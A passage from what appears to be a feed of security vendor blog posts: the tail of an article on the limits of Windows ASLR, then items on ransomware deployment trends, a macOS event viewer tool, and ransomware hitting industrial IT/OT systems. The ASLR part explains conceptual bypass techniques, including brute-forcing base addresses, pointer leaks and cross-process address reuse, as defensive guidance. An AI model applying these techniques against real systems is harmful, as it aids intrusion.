pack or security patch requires the DLLs to be reorganized. This means that attacks on pre-Vista Windows can chain together ROP gadgets from common DLLs to disable DEP, the lone memory corruption defense on those releases. Why did Windows need to support preferred base addresses? The answer lies in performance and in trade-offs made in the design of Windows DLLs versus other designs like ELF shared libraries. Windows DLLs are not position independent. Especially on 32-bit machines, if Windows DLL code needs to reference a global variable, the runtime address of that variable gets hardcoded into the machine code. If the DLL gets loaded at a different address than was expected, relocation is performed to fix up such hardcoded references. If the DLL instead gets loaded as its preferred base address, no relocation is necessary, and the DLL’s code can be directly mapped into memory from the file system. Directly mapping the DLL file into memory is a small performance benefit since it avoids reading any of the DLL’s pages into physical memory until they are needed. A better reason for preferred base addresses is to ensure that only one copy of a DLL needs to be in memory. Without them, if three programs run that share a common DLL, but each loads that DLL at a different address, there would be three DLL copies in memory, each relocated to a different base. That would counteract a main benefit of using shared libraries in the first place. Aside from its security benefits, ASLR accomplishes the same thing—ensuring that the address spaces of loaded DLLs won’t overlap and loading only a single copy of a DLL into memory—in a more elegant way. Because ASLR does a better job of avoiding overlap between address spaces than statically-assigned preferred load addresses ever could, manually assigning preferred base addresses provides no optimization on an ASLR-capable OS, and is not needed any longer in the development lifecycle. Takeaway 1.1: Windows XP and Windows Server 2003 and earlier do not support ASLR. Clearly, these versions have been out of support for years and should be long gone from production use. The more important observation relates to software developers who support both legacy and modern Windows versions. They may not realize that the exact same program can be more secure or less secure depending on what OS version is running. Developers who (still!) have a customer base of mixed ASLR and non-ASLR supporting Windows versions should respond to CVE reports accordingly. The exact same bug might appear non-exploitable on Windows 10 but be trivially exploitable on Windows XP. The same applies to Windows 10 versus Windows 8.1 or 7, as ASLR has become more capable with each version. Takeaway 1.2: Audit legacy software code bases for misguided ideas about preferred load addresses.  Legacy software may still be maintained with old tools such as Microsoft Visual C++ 6. These development tools contain outdated documentation about the role and importance of preferred load addresses. Since these old tools cannot mark images as ASLR-compatible, a “lazy” developer who doesn’t bother to change the default DLL address is actually better off since a conflict will force the image to be rebased to an unpredictable location! Fact 2: Windows loads multiple instances of images at the same location across processes and even across users; only rebooting can guarantee a fresh random base address for all images. ELF images, as used in the Linux implementation of ASLR, can use position-independent executables and position-independent code in shared libraries to supply a freshly randomized address space for the main program and all its libraries on each launch—sharing the same machine code between multiple processes even where it is loaded at different addresses. Windows ASLR does not work this way. Instead, each DLL or EXE image gets assigned a random load address by the kernel the first time it is used, and as additional instances of the DLL or EXE are loaded, they receive the same load address. If all instances of an image are unloaded and that image is subsequently loaded again, the image may or may not receive the same base address; see Fact 4. Only rebooting can guarantee fresh base addresses for all images systemwide. Since Windows DLLs do not use position-independent code, the only way their code can be shared between processes is to always be loaded at the same address. To accomplish this, the kernel picks an address (0x78000000 for example on 32-bit system) and begins loading DLLs at randomized addresses just below it. If a process loads a DLL that was used recently, the system may just re-use the previously chosen address and therefore re-use the previous copy of that DLL in memory. The implementation solves the issues of providing each DLL a random address and ensuring DLLs don’t overlap at the same time. For EXEs, there is no concern about two EXEs overlapping since they would never be loaded into the same process. There would be nothing wrong with loading the first instance of an EXE at 0x400000 and the second instance at 0x500000, even if the image is larger than 0x100000 bytes. Windows just chooses to share code among multiple instances of a given EXE. Takeaway 2.1: Any Windows program that automatically restarts after crashing is especially susceptible to brute force attacks to overcome ASLR.  Consider a program that a remote attacker can execute on demand, such as a CGI program, or a connection handler that executes only when needed by a super-server (as in inetd, for example). A Windows service paired with a watchdog that restarts the service when it crashes is another possibility. An attacker can use knowledge of how Windows ASLR works to exhaust the possible base addresses where the EXE could be loaded. If the program crashes and (1) another copy of the program remains in memory, or (2) the program restarts quickly and, as is sometimes possible, receives the same ASLR base address, the attacker can assume that the new instance will still be loaded at the same address, and the attacker will eventually try that same address. Takeaway 2.2: If an attacker can discover where a DLL is loaded in any process, the attacker knows where it is loaded in all processes.  Consider a system running two buggy network services—one that leaks pointer values in a debug message but has no buffer overflows, and one that has a buffer overflow but does not leak pointers. If the leaky program reveals the base address of kernel32.dll and the attacker knows some useful ROP gadgets in that DLL, then the same memory offsets can be used to attack the program containing the overflow. Thus, seemingly unrelated vulnerable programs can be chained together to first overcome ASLR and then launch an exploit. Takeaway 2.3: A low-privileged account can be used to overcome ASLR as the first step of a privilege escalation exploit.  Suppose a background service exposes a named pipe only accessible to local users and has a buffer overflow. To determine the base address of the main program and DLLs for that process, an attacker can simply launch another copy in a debugger. The offsets determined from the debugger can then be used to develop a payload to exploit the high-privileged process. This occurs because Windows does not attempt to isolate users from each other when it comes to protecting random base addresses of EXEs and DLLs. Fact 3: Recompiling a 32-bit program to a 64-bit one makes ASLR more effective. Even though 64-bit releases of Windows have been mainstream for a decade or more, 32-bit user space applications remain common. Some programs have a true need to maintain compatibility with third-party plugins, as in the case of web browsers. Other times, development teams have a belief that a program needs far less than 4 GB of memory and 32-bit code could therefore be more space efficient. Even Visual Studio remained a 32-bit application for some time after it supported building 64-bit applications. In fact, switching from 32-bit to 64-bit code produces a small but observable security benefit. The reason is that the ability to randomize 32-bit addresses is limited. To understand why, observe how a 32-bit x86 memory address is broken down in Figure 1. More details are explained at Physical Address Extension. Figure 1: Memory addresses are divided into components, only some of which can be easily randomized at runtime The operating system cannot simply randomize arbitrary bits of the address. Randomizing the offset within a page portion (bits 0 through 11) would break assumptions the program makes about data alignment. The page directory pointer (bits 30 and 31) cannot change because bit 31 is reserved for the kernel, and bit 30 is used by Physical Address Extension as a bank switching technique to address more than 2GB of RAM. This leaves 14 bits of the 32-bit address off-limits for randomization. In fact, Windows only attempts to randomize 8 bits of a 32-bit address. Those are bits 16 through 23, affecting only the page directory entry and page table entry portion of the address. As a result, in a brute force situation, an attacker can potentially guess the base address of an EXE in 256 guesses. When applying ASLR to a 64-bit binary, Windows is able to randomize 17-19 bits of the address (depending on whether it is a DLL or EXE). Figure 2 shows how the number of possible base addresses, and accordingly the number of brute force guesses needed, increases dramatically for 64-bit code. This could allow endpoint protection software or a system administrator to detect an attack before it succeeds. Figure 2: Recompiling 32-bit code as 64-bit dramatically increases the number of possible base addresses for selection by ASLR Takeaway 3.1: Software that must process untrusted data should always be compiled as 64-bit, even if it does not need to use a lot of memory, to take maximum advantage of ASLR. In a brute force attack, ASLR makes attacking a 64-bit program at least 512 times harder than attacking the 32-bit version of the exact same program. Takeaway 3.2: Even 64-bit ASLR is susceptible to brute force attacks, and defenders must focus on detecting brute force attacks or avoiding situations where they are feasible. Suppose an attacker can make ten brute force attempts per second against a vulnerable system. In the common case of the target process remaining at the same address because multiple instances are running, the attacker would discover the base address of a 32-bit program in less than one minute, and of a 64-bit program in a few hours. A 64-bit brute force attack would produce much more noise, but the administrator or security software would need to notice and act on it. In addition to using 64-bit software to make ASLR more effective, systems should avoid re-spawning a crashing process (to avoid giving the attacker a “second bite at the apple” to discover the base address) or force a reboot and therefore guaranteed fresh address space after a process crashes more than a handful of times. Takeaway 3.3: Researchers developing a proof of concept attack against a program available in both 32-bit and 64-bit versions should focus on the 32-bit one first. As long as 32-bit software remains relevant, a proof-of-concept attack against the 32-bit variant of a program is likely easier and quicker to develop. The resulting attack could be more feasible and convincing, leading the vendor to patch the program sooner. Fact 4: Windows 10 reuses randomized base addresses more aggressively than Windows 7, and this could make it weaker in some situations. Observe that even if a Windows system must ensure that multiple instances of one DLL or EXE all get loaded at the same base address, the system need not keep track of the base address once the last instance of the DLL or EXE is unloaded. If the DLL or EXE is loaded again, it can get a fresh base address. This is the behavior we observed in working with Windows 7. Windows 10 can work differently. Even after the last instance of a DLL or EXE unloads, it may maintain the same base address at least for a short period of time—more so for EXEs than DLLs. This can be observed when repeatedly launching a command-line utility under a multi-process debugger. However, if the utility is copied to a new filename and then launched, it receives a fresh base address. Likewise, if a sufficient duration has passed, the utility will load at a different base address. Rebooting, of course, generates fresh base addresses for all DLLs and EXEs. Takeaway 4.1: Make no assumptions about Windows ASLR guarantees beyond per-boot randomization. In particular, do not rely on the behavior of Windows 7 in randomizing a fresh address space whenever the first instance of a given EXE or DLL loads. Do not assume that Windows inherently protects against brute force attacks against ASLR in any way, especially for 32-bit processes where brute force attacks can take 256 or fewer guesses. Fact 5: Windows 10 is more aggressive at applying ASLR, and even to EXEs and DLLs not marked as ASLR-compatible, and this could make ASLR stronger. Windows Vista and 7 were the first two releases to support ASLR, and therefore made some trade-offs in favor of compatibility. Specifically, these older implementations would not apply ASLR to an image not marked as ASLR-compatible and would not allow ASLR to push addresses above the 4 GB boundary. If an image did not opt in to ASLR, these Windows versions would continue to use the preferred base address. It is possible to further harden Windows 7 using Microsoft’s Enhanced Mitigation Experience Toolkit (commonly known as EMET) to more aggressively apply ASLR even to images not marked as ASLR-compatible. Windows 8 introduced more features to apply ASLR to non-ASLR-compatible images, to better randomize heap allocations, and to increase the number of bits of entropy for 64-bit images. Takeaway 5.1: Ensure software projects are using the correct linker flags to opt in to the most aggressive implementation of ASLR, and that they are not using any linker flags that weaken ASLR. See Table 2. Linker flags can affect how ASLR is applied to an image. Note that for Visual Studio 2012 and later, the ✔️flags are already enabled by default and the best ASLR implementation will be used so long as no 🚫flags are used. Developers using Visual Studio 2010 or earlier, presumably for compatibility reasons, need to check which flags the linker supports and which it enables by default. Secure? Linker Flag Effect ✔️ /DYNAMICBASE Marks the image as ASLR-compatible ✔️ /LARGEADDRESSAWARE /HIGHENTROPYVA Marks the 64-bit image as free of pointer truncation bugs and therefore allows ASLR to randomize addresses beyond 4 GB 🚫 /DYNAMICBASE:NO “Politely requests” that ASLR not be applied by not marking the image as ASLR-compatible. Depending on the Windows version and hardening settings, Windows might apply ASLR anyway. 🚫 /HIGHENTROPYVA:NO Opts out 64-bit images from ASLR randomizing addresses beyond 4 GB on Windows 8 and later (to avoid compatibility issues). 🚫 /FIXED Removes information from the image that Windows needs in order to apply ASLR, blocking ASLR from ever being applied. Table 2: Linker flags can affect how ASLR is applied to an image Takeaway 5.2: Enable mandatory ASLR and bottom-up randomization. Windows 8 and 10 contain optional features to forcibly enable ASLR on images not marked as ASLR compatible, and to randomize virtual memory allocations so that rebased images obtain a random base address. This is useful in the case where an EXE is ASLR compatible, but one of the DLLs it uses is not. Defenders should enable these features to apply ASLR more broadly, and importantly, to help discover any remaining non-ASLR-compatible software so it can be upgraded or replaced. Fact 6: ASLR relocates entire executable images as a unit. ASLR relocates executable images by picking a random offset and applying it to all addresses within an image that would otherwise be relative to its base address. That is to say: If two functions in an EXE are at addresses 0x401000 and 0x401100, they will remain 0x100 bytes apart even after the image is relocated. Clearly this is important due to the prevalence of relative call and jmp instructions in x86 code. Similarly, the function at 0x401000 will remain 0x1000 bytes from the base address of the image, wherever it may be. Likewise, if two static or global variables are adjacent in the image, they will remain adjacent after ASLR is applied. Conversely, stack and heap variables and memory-mapped files are not part of the image and can be randomized at will without regard to what base address was picked. Takeaway 6.1: A leak of just one pointer within an executable image can expose the randomized addresses of the entire image. One of the biggest limitations and annoyances of ASLR is that seemingly innocuous features such as a debug log message or stack trace that leak a pointer in the image become security bugs.  If the attacker has a copy of the same program or DLL and can trigger it to produce the same leak, they can calculate the difference between the ASLR and pre-ASLR pointer to determine the ASLR offset. Then, the attacker can apply that offset to every pointer in their attack payload in order to overcome ASLR. Defenders should train software developers about pointer disclosure vulnerabilities so that they realize the gravity of this issue, and also regularly assess software for these vulnerabilities as part of the software development lifecycle. Takeaway 6.2: Some types of memory corruption vulnerabilities simply lie outside the bounds of what ASLR can protect. Not all memory corruption vulnerabilities need to directly achieve remote code execution. Consider a program that contains a buffer variable to receive untrusted data from the network, and a flag variable that lies immediately after it in memory. The flag variable contains bits specifying whether a user is logged in and whether the user is an administrator. If the program writes data beyond the end of the receive buffer, the “flags” variable gets overwritten and an attacker could set both the logged-in and is-admin flags. Because the attacker does not need to know or write any memory addresses, ASLR does not thwart the attack. Only if another hardening technique (such as compiler hardening flags) reordered variables, or better, moved the location of every variable in the program independently, would such attacks be blocked. Conclusion Address space layout randomization is a core defense against memory corruption exploits. This post covers some history of ASLR as implemented on Windows, and also explores some capabilities and limitations of the Windows implementation. In reviewing this post, defenders gain insight on how to build a program to best take advantage of ASLR and other features available in Windows to more aggressively apply it. Attackers can leverage ASLR limitations, such as address space randomization applying only per boot and randomization relocating the entire image as one unit, to overcome ASLR using brute force and pointer leak attacks.

  • They Come in the Night: Ransomware Deployment Trends
    by Kelli Vanderlee on March 16, 2020 at 3:30 pm

    Ransomware is a remote, digital shakedown. It is disruptive and expensive, and it affects all kinds of organizations, from cutting edge space technology firms, to the wool industry, to industrial environments. Infections have forced hospitals to turn away patients and law enforcement to drop cases against drug dealers. Ransomware operators have recently begun combining encryption with the threat of data leak and exposure in order to increase leverage against victims. There may be a silver lining, however; Mandiant Intelligence research suggests that focusing defensive efforts in key areas and acting quickly may allow organizations to stop ransomware before it is deployed. Mandiant Intelligence examined dozens of ransomware incident response investigations from 2017 to 2019. Through this research, we identified a number of common characteristics in initial intrusion vectors, dwell time, and time of day of ransomware deployment. We also noted threat actor innovations in tactics to maximize profits (Figure 1). Incidents affected organizations across North America, Europe, Asia Pacific, and the Middle East in nearly every sector category, including financial services, chemicals and materials, legal and professional services, local government, and healthcare. We observed intrusions attributed to financially motivated groups such as FIN6, TEMP.MixMaster, and dozens of additional activity sets. Figure 1: Themes Observed in Ransomware Incidents These incidents provide us with enhanced insight into ransomware trends that can be useful for network defenders, but it is worth bearing in mind that this data represents only a sample of all activity. For example, Mandiant ransomware investigations increased 860% from 2017 to 2019. The majority of these incidents appeared to be post-compromise infections, and we believe that threat actors are accelerating use of tactics including post compromise deployment to increase the likelihood of ransom payment. We also observed incidents in which ransomware was executed immediately, for example GANDCRAB and GLOBEIMPOSTER incidents, but most of the intrusions examined were longer duration and more complex post-compromise deployments. Common Initial Infection Vectors We noted several initial infection vectors across multiple ransomware incidents, including RDP, phishing with a malicious link or attachment, and drive by download of malware facilitating follow-on activity. RDP was more frequently observed in 2017 and declined in 2018 and 2019. These vectors demonstrate that ransomware can enter victim environments by a variety of means, not all of which require user interaction. RDP or other remote access One of the most frequently observed vectors was an attacker logging on to a system in a victim environment via Remote Desktop Protocol (RDP). In some cases, the attacker brute forced the credentials (many failed authentication attempts followed by a successful one). In other cases, a successful RDP log on was the first evidence of malicious activity prior to a ransomware infection. It is possible that the targeted system used default or weak credentials, the attackers acquired valid credentials via other unobserved malicious activity, or the attackers purchased RDP access established by another threat actor. In April 2019, we noted that FIN6 used stolen credentials and RDP to move laterally in cases resulting in ransomware deployment. Phishing with link or attachment A significant number of ransomware cases were linked to phishing campaigns delivering some of the most prolific malware families in financially motivated operations: TRICKBOT, EMOTET, and FLAWEDAMMYY. In January 2019, we described TEMP.MixMaster TrickBot infections that resulted in interactive deployment of Ryuk. Drive-by-download Several ransomware infections were traced back to a user in the victim environment navigating to a compromised website that resulted in a DRIDEX infection. In October 2019, we documented compromised web infrastructure delivering FAKEUPDATES, then DRIDEX, and ultimately BITPAYMER or DOPPELPAYMER infections. Most Ransomware Deployments Take Place Three or More Days After Initial Infection The number of days elapsed between the first evidence of malicious activity and the deployment of ransomware ranged from zero to 299 days (Figure 2). That is, dwell times range quite widely, and in most cases, there was a time gap between first access and ransomware deployment. For 75 percent of incidents, at least three days passed between the first evidence of malicious activity and ransomware deployment. This pattern suggests that for many organizations, if initial infections are detected, contained, and remediated quickly, the significant damage and cost associated with a ransomware infection could be avoided. In fact, in a handful of cases, Mandiant incident responders and FireEye Managed Defense contained and remediated malicious activity, likely preventing ransomware deployment. Several investigations discovered evidence of ransomware installed into victim environments but not yet successfully executed. Figure 2: Days elapsed between initial access and ransomware deployment Ransomware Deployed Most Often After Hours In 76% of incidents we reviewed, ransomware was executed in victim environments after hours, that is, on a weekend or before 8:00 a.m. or after 6:00 p.m. on a weekday, using the time zone and customary work week of the victim organization (Figure 3 and Figure 4). This observation underscores that threat actors continue working even when most employees may not be. Some attackers possibly intentionally deploy ransomware after hours, on weekends, or during holidays, to maximize the potential effectiveness of the operation on the assumption that any remediation efforts will be implemented more slowly than they would be during normal work hours. In other cases, attackers linked ransomware deployment to user actions. For example, in 2019 incidents at retail and professional services firms, attackers created an Active Directory Group Policy Object to trigger ransomware execution based on user log on and log off. Figure 3: Ransomware execution frequently takes place after hours Figure 4: Ransomware execution by hour of the day Mitigation Recommendations Organizations seeking to prevent or mitigate the effects of ransomware infections could consider the following steps. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment and the linked white paper. Address Infection Vectors Use enterprise network, email, and host-based security products with up-to-date detections to prevent and detect many common malware strains such as TRICKBOT, DRIDEX, and EMOTET. Contain and remediate infections quickly to prevent attackers from conducting follow-on activity or selling access to other threat actors for further exploitation. Perform regular network perimeter and firewall rule audits to identify any systems that have inadvertently been left accessible to the internet. Disable RDP and other protocols to systems where this access is not expressly required. Enable multi-factor authentication where possible, particularly to internet-accessible connections, see pages 4-15 of the white paper for more details. Enforce multi-factor authentication, that is, where enabled, do not allow single factor authentication for users who have not set up the multi-factor mechanism. Implement Best Practices For example, carry out regular anti-phishing training for all employees that operate a device on the company network. Ensure employees are aware of threat, their role in preventing it, and the potential cost of a successful infection. Implement network segmentation when possible to prevent a potential infection from spreading. Create regular backups of critical data necessary to ensure business continuity and, if possible, store them offsite, as attackers often target backups. Restrict Local Administrator accounts from specific log on types, see page 18 of the white paper for more details. Use a solution such as LAPS to generate a unique Local Administrator password for each system. Disallow cleartext passwords to be stored in memory in order to prevent Mimikatz credential harvesting, see p. 20 of the white paper for more details. Consider cyber insurance that covers ransomware infection. Establish Emergency Plans Ensure that after-hours coverage is available to respond within a set time period in the case of an emergency. Institute after-hours emergency escalation plans that include redundant means to contact multiple stakeholders within the organization and 24-hour emergency contact information for any relevant third-party vendors. Outlook Ransomware is disruptive and costly. Threat actor innovations have only increased the potential damage of ransomware infections in recent years, and this trend shows no sign of slowing down. We expect that financially motivated actors will continue to evolve their tactics to maximize profit generated from ransomware infections. We anticipate that post-compromise ransomware infections will continue to rise and that attackers will increasingly couple ransomware deployment with other tactics, such as data theft and extortion, increasing ransom demands, and targeting critical systems. The good news is that particularly with post-compromise infections, there is often a window of time between the first malicious action and ransomware deployment. If network defenders can detect and remediate the initial compromise quickly, it is possible to avoid the significant damage and cost of a ransomware infection. Register for our upcoming ransomware webinar to learn more.

  • Crescendo: Real Time Event Viewer for macOS
    by Stephen Davis on March 9, 2020 at 4:00 pm

    Prior to 2017, researchers couldn’t easily monitor actions performed by a process on macOS and had to resort to coding scripts that produced low level system call data. FireEye released Monitor.app in 2017 that enabled collection of information on macOS at a higher level; at a simplified data set versus something like Dtrace. I created many versions of Monitor.app over the years and have received very positive feedback from users. Recently though, users have noticed it doesn’t work on macOS Catalina (10.15)… Originally, a kernel extension was required to provide the inspection capabilities offered by Monitor.app. Unfortunately, kernel extensions are running in privileged mode which has very little protection from software bugs that may lead to system instability. This means kernel extensions should only be used if absolutely necessary. Microsoft and Apple have started providing engineers more userland alternatives to accomplish what previously required writing kernel code. In Catalina, Apple released the Endpoint Security Framework (ESF) to provide a robust and (more importantly) safer way of getting access to internal operating system artifacts. Being a security guy, I’m not a huge fan when apps must ship with kernel extension to get their job done and I think this is a move in the right direction. With the coming release of 10.15.4, Apple will now pop-up a warning when a kernel extension is loaded that uses a set of these deprecated kernel programming interfaces (KPIs). Now seemed like a good time to kick the tires on the Endpoint Security Framework. Also, what engineer doesn’t love to learn new languages, so why not write it all in Swift as well? Introducing Crescendo Crescendo is a real time event viewer for macOS that uses the ESF to show process executions and forks, file events, share mounting events, kernel extension loads, and IPC event data. ESF provides a vast amount of data, but the goal was to just pick out the things that analysts would be interested in when analyzing a piece of malware or trying to understand how a process (or component) works. Just the right amount of data without being a firehose of events to the user. Here are some of the features of Crescendo: System Extension using Endpoint Security Framework Real time event viewer and event detail viewer Search for easy filtering of events by process, PID, username, or event type Filters for unsigned apps vs apple signed apps Ability to export all events to JSON Context highlighting when unsigned apps are executed Apple has added some extra security features that require some extra setup for enabling Crescendo’s system extension. Head on over to the Getting Started section in the README to get started. I’m hopeful this inconvenience will be fixed in future versions. Oh, One More Thing… Crescendo is being released open source under the MIT license! It consists of a ready to use framework that wraps the ESF with a Swift interface, removing some of the nuances and providing a simple callback for event data. This way other developers don’t have to understand all the inner details of the Endpoint Security Framework. One caveat, if you wish to use the framework in your own app, you must obtain an entitlement from Apple.  Missing a feature you’d like to see? Submit a Pull Request! Head over to the Crescendo Github to learn more and download the latest release.

  • Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT
    by Daniel Kapellmann Zafra on February 24, 2020 at 11:30 pm

    Since at least 2017, there has been a significant increase in public disclosures of ransomware incidents impacting industrial production and critical infrastructure organizations. Well-known ransomware families like WannaCry, LockerGoga, MegaCortex, Ryuk, Maze, and now SNAKEHOSE (a.k.a. Snake / Ekans), have cost victims across a variety of industry verticals many millions of dollars in ransom and collateral costs. These incidents have also resulted in significant disruptions and delays to the physical processes that enable organizations to produce and deliver goods and services. While lots of information has been shared about the victims and immediate impacts of industrial sector ransomware distribution operations, the public discourse continues to miss the big picture. As financial crime actors have evolved their tactics from opportunistic to post-compromise ransomware deployment, we have observed an increase in adversaries’ internal reconnaissance that enables them to target systems that are vital to support the chain of production. As a result, ransomware infections—either affecting critical assets in corporate networks or reaching computers in OT networks—often result in the same outcome: insufficient or late supply of end products or services. Truly understanding the unique nuances of industrial sector ransomware distribution operations requires a combination of skillsets and visibility across both IT and OT systems. Using examples derived from our consulting engagements and threat research, we will explain how the shift to post-compromise ransomware operations is fueling adversaries’ ability to disrupt industrial operations. Industrial Sector Ransomware Distribution Poses Increasing Risk as Actors Move to Post-Compromise Deployment The traditional approach to ransomware attacks predominantly relies on a “shotgun” methodology that consists of indiscriminate campaigns spreading malware to encrypt files and data from a variety of victims. Actors following this model will extort victims for an average of $500 to $1,000 USD and hope to receive payments from as many individuals as possible. While early ransomware campaigns adopting this approach were often considered out of scope for OT security, recent campaigns targeting entire industrial and critical infrastructure organizations have moved toward adopting a more operationally complex post-compromise approach. In post-compromise ransomware incidents, a threat actor may still often rely on broadly distributed malware to obtain their initial access to a victim environment, but once on a network they will focus on gaining privileged access so they can explore the target networks and identify critical systems before deploying the ransomware. This approach also makes it possible for the attacker to disable security processes that would normally be enough to detect known ransomware indicators or behaviors. Actors cast wider nets that may impact critical systems, which  expand the scale and effectiveness of their end-stage operations by inflicting maximum pain on the victim. As a result, they are better positioned to negotiate and can often demand much higher ransoms—which are commonly commensurate with the victims’ perceived ability to pay and the value of the ransomed assets themselves. For more information, including technical detail, on similar activity, see our recent blog posts on FIN6 and TEMP.MixMaster. Figure 1: Comparison of indiscriminate vs. post-compromise ransomware approaches Historical incidents involving the opportunistic deployment of ransomware have often been limited to impacting individual computers, which occasionally included OT intermediary systems that were either internet-accessible, poorly segmented, or exposed to infected portable media. In 2017, we also observed campaigns such as NotPetya and BadRabbit, where wiper malware with worm-like capabilities were released to disrupt organizations while masquerading as ransomware. While these types of campaigns pose a threat to industrial production, the adoption of post-compromise deployment presents three major twists in the plot. As threat actors tailor their attacks to target specific industries or organizations, companies with high-availability requirements (e.g., public utilities, hospitals, and industrial manufacturing) and perceived abilities to pay ransoms (e.g., higher revenue companies) become prime targets. This represents an expansion of financial crime actors’ targeting of industries that process directly marketable information (e.g., credit card numbers or customer data) to include the monetization of production environments. As threat actors perform internal reconnaissance and move laterally across target networks before deploying ransomware, they are now better positioned to cast wide nets that impact the target’s most critical assets and negotiate from a privileged position. Most importantly, many of the tactics, techniques, and procedures (TTPs) often used by financial actors in the past, resemble those employed by high-skilled actors across the initial and middle stages of the attack lifecycle of past OT security incidents. Therefore, financial crime actors are likely capable of pivoting to and deploying ransomware in OT intermediary systems to further disrupt operations. Organized Financial Crime Actors Have Demonstrated an Ability to Disrupt OT Assets An actor’s capability to obtain financial benefits from post-compromise ransomware deployment depends on many factors, one of which is the ability to disrupt systems that are the most relevant to the core mission of the victim organizations. As a result, we can expect mature actors to gradually broaden their selection from only IT and business processes, to also OT assets monitoring and controlling physical processes. This is apparent in ransomware families such as SNAKEHOSE, which was designed to execute its payload only after stopping a series of processes that included some industrial software from vendors such as General Electric and Honeywell. At first glance, the SNAKEHOSE kill list appeared to be specifically tailored to OT environments due to the relatively small number of processes (yet high number of OT-related processes) identified with automated tools for initial triage. However, after manually extracting the list from the function that was terminating the processes, we determined that the kill list utilized by SNAKEHOSE actually targets over 1,000 processes. In fact, we have observed very similar process kill lists deployed alongside samples from other ransomware families, including LockerGoga, MegaCortex, and Maze. Not surprisingly, all of these code families have been associated with high-profile incidents impacting industrial organizations for the past two years. The earliest kill list containing OT processes we identified was a batch script deployed alongside LockerGoga in January 2019. The list is very similar to those used later in MegaCortex incidents, albeit with notable exceptions, such as an apparent typo on an OT-related process that is not present in our SNAKEHOSE or MegaCortex samples: “proficyclient.exe4”. The absence of this typo in the SNAKEHOSE and MegaCortex samples could indicate that one of these malware authors identified and corrected the error when initially copying the OT-processes from the LockerGoga list, or that the LockerGoga author failed to properly incorporate the processes from some theoretical common source of origin, such as a dark web post. Figure 2: ‘proficyclient.exe’ spelling in kill lists deployed with LockerGoga (left) and SNAKEHOSE (right) Regardless of which ransomware family first employed the OT-related processes in a kill list or where the malware authors acquired the list, the seeming ubiquity of this list across malware families suggests that the list itself is more noteworthy than any individual malware family that has implemented it. While the OT processes identified in these lists may simply represent the coincidental output of automated process collection from target environments and not a targeted effort to impact OT, the existence of this list provides financial crime actors opportunities to disrupt OT systems. Furthermore, we expect that as financially motivated threat actors continue to impact industrial sector organizations, become more familiar with OT, and identify dependencies across IT and OT systems, they will develop capabilities—and potentially intent—to disrupt other systems and environments running industrial software products and technology. Ransomware Deployments in Both IT and OT Systems Have Impacted Industrial Production As a result of adversaries’ post-compromise strategy and increased awareness of industrial sector targets, ransomware incidents have effectively impacted industrial production regardless of whether the malware was deployed in IT or OT. Ransomware incidents encrypting data from servers and computers in corporate networks have resulted in direct or indirect disruptions to physical production processes overseen by OT networks. This has caused insufficient or late supply of end products or services, representing long-term financial losses in the form of missed business opportunities, costs for incident response, regulatory fines, reputational damage, and sometimes even paid ransoms. In certain sectors, such as utilities and public services, high availability is also critical to societal well-being. The best-known example of ransomware impacting industrial production due to an IT network infection is Norsk Hydro’s incident from March 2019, where disruptions to Business Process Management Systems (BPMS) forced multiple sites to shut down automation operations. Among other collateral damage, the ransomware interrupted communication between IT systems that are commonly used to manage resources across the production chain. Interruptions to these flows of information containing for example product inventories, forced employees to identify manual alternatives to handle more than 6,500 stock-keeping units and 4,000 shelves. FireEye Mandiant has responded to at least one similar case where TrickBot was used to deploy Ryuk ransomware at an oil rig manufacturer. While the infection happened only on corporate networks, the biggest business impact was caused by disruptions of Oracle ERP software driving the company temporarily offline and negatively affecting production. Ransomware may result in similar outcomes when it reaches IT-based assets in OT networks, for example human-machine interfaces (HMIs), supervisory control and data acquisition (SCADA) software, and engineering workstations. Most of this equipment relies on commodity software and standard operating systems that are vulnerable to a variety of IT threats. Mandiant Intelligence is aware of at least one incident in which an industrial facility suffered a plant shutdown due to a large-scale ransomware attack, based on sensitive sources. The facility’s network was improperly segmented, which allowed the malware to propagate from the corporate network into the OT network, where it encrypted servers, HMIs, workstations, and backups. The facility had to reach out to multiple vendors to retrieve backups, many of which were decades old, which delayed complete restoration of production. As recently as February 2020, the Cybersecurity Infrastructure and Security Agency (CISA) released Alert AA20-049A describing how a post-compromise ransomware incident had affected control and communication assets on the OT network of a natural gas compression facility. Impacts to HMIs, data historians, and polling servers resulted in loss of availability and loss of view for human operators. This prompted an intentional shut down of operations that lasted two days. Mitigating the Effects of Ransomware Requires Defenses Across IT and OT Threat actors deploying ransomware have made rapid advances both in terms of effectiveness and as a criminal business model, imposing high operational costs on victims. We encourage all organizations to evaluate their safety and industrial risks related to ransomware attacks. Note that these recommendations will also help to build resilience in the face of other threats to business operations (e.g., cryptomining malware infections). While every case will differ, we highlight the following recommendations. For custom services and actionable intelligence in both IT and OT, contact FireEye Mandiant Consulting, Managed Defense, and Threat Intelligence. Conduct tabletop and/or controlled red team exercises to assess the current security posture and ability of your organization to respond to the ransomware threat. Simulate attack scenarios (mainly in non-production environments) to understand how the incident response team can (or cannot) detect, analyze, and recover from such an attack. Revisit recovery requirements based on the exercise results. In general, repeatedly practicing various threat scenarios will improve awareness and ability to respond to real incidents. Review operations, business processes, and workflows to identify assets that are critical to maintaining continuous industrial operations. Whenever possible, introduce redundancy for critical assets with low tolerance to downtime. The right amount and type of redundancy is unique for each organization and can be determined through risk assessments and cost-benefit analyses. Note that such analyses cannot be conducted without involving business process owners and collaborating across IT and OT. Logically segregate primary and redundant assets either by a network-based or host-based firewall with subsequent asset hardening (e.g., disabling services typically used by ransomware for its propagation, like SMB, RDP, and WMI). In addition to creating policies to disable unnecessary peer-to-peer and remote connections, we recommend routine auditing of all systems that potentially host these services and protocols. Note that such architecture is generally more resilient to security incidents. When establishing a rigorous back-up program, special attention should be paid to ensuring the security (integrity) of backups. Critical backups must be kept offline or, at minimum, on a segregated network. Optimize recovery plans in terms of recovery time objective. Introduce required alternative workflows (including manual) for the duration of recovery. This is especially critical for organizations with limited or no redundancy of critical assets. When recovering from backups, harden recovered assets and the entire organization’s infrastructure to prevent recurring ransomware infection and propagation. Establish clear ownership and management of OT perimeter protection devices to ensure emergency, enterprise-wide changes are possible. Effective network segmentation must be maintained during containment and active intrusions. Hunt for adversary intrusion activity in intermediary systems, which we define as the networked workstations and servers using standard operating systems and protocols. While the systems are further away from direct control of physical processes, there is a much higher likelihood of attacker presence. Note, that every organization is different, with unique internal architectures and processes, stakeholder needs, and customer expectations. Therefore, all recommendations should be carefully considered in the context of the individual 